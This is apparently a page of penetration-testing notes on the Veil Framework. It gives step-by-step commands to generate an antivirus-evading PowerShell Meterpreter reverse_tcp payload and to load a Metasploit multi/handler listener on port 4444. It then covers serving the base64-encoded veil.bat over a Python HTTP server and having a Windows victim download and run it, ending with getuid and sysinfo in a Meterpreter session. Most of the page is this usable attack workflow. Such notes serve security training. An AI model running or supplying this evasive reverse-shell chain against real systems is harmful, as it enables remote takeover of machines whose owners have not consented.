> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/03-getting-in/03-veil.md).

# Veil

## REF: [Metasploit](/03-getting-in/03-metasploit.md)

## Veil Framework

* Evasion ..creates payload w/evasion
* Ordinance ..Quickly gen shellcode for exp/pay
* Shellter ..Other software

## Usage

```
sudo veil

use Evasion
list           ..see all the payloads
<tab> <tab>    ..view options

info powershell/meterpreter/rev_tcp.py
use powershell/meterpreter/rev_tcp.py
set LHOST 10.x.x.x  (tab complete)

generate       ..give it a name: veil

Created:
/var/lib/veil/output/source/veil.bat   ..base64 encoded
/var/lib/veil/output/handlers/veil.rc  ..For MSF
```

## Metasploit Scripting

```
msfconsole -r /var/lib/veil/output/handlers/veil.rc
jobs  ..see that it is running/waiting

Autoloaded this:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.x.x.x
set LPORT 4444
set ExitOnSession false   ..catch all sessions!!
exploit -j
```

## Execution

```
Kali:
cd /var/lib/veil/output/source/
ls veil.bat
> python3 -m http.server

Windows:
http://$IP:8000/veil.bat ..save/open/execute

Kali: Connected!
session -l
sessions -i 1
meterpreter> getuid
sysinfo
Win!
```

## Example:

* Veil-Evasion used in [coldfusion](/04-webapps/coldfusion.md#reverse-executable)
